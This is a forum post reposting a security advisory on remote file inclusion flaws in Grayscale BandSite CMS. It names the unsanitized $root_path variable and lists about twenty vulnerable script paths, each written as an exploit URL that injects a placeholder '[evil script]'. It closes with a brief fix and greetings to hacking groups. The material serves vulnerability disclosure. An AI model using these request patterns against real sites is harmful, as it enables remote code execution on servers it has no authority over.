Jump to content
Guest Nemessis

[RST] Grayscale BandSite CMS - RFI

Recommended Posts

Guest Nemessis

---------------------------------------------------------------------------

Grayscale BandSite CMS <=([root_path]) Remote File Include Vulnerabilities

---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]

Remote : Yes

Critical Level : Dangerous

---------------------------------------------------------------------------

Affected software description :

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Grayscale BandSite CMS

version : latest version

URL :http://sourceforge.net/projects/bandsitecms/

------------------------------------------------------------------

Exploit:

~~~~~~~

Variable $root_path not sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/content/contact_content.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addbioform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addfliersform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addgenmerchform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addinterviewsform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addlinksform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addlyricsform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addmembioform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addmerchform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addmerchpicform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addnewsform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addphotosform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addreleaseform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addreleasepicform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addrelmerchform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addreviewsform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addshowsform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/add_forms/addwearmerchform.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/mailinglist/disphtmltbl.php?root_path=[evil script]

# http://www.site.com/[path]/adminpanel/includes/mailinglist/dispxls.php?root_path=[evil script]

---------------------------------------------------------------------------

Solution :

~~~~~~~~~

declare variabel $root_path

---------------------------------------------------------------------------

Shoutz:

~~~~~

# Special greetz to my good friend [Oo]

# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://rstcenter.com ]

---------------------------------------------------------------------------

*/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...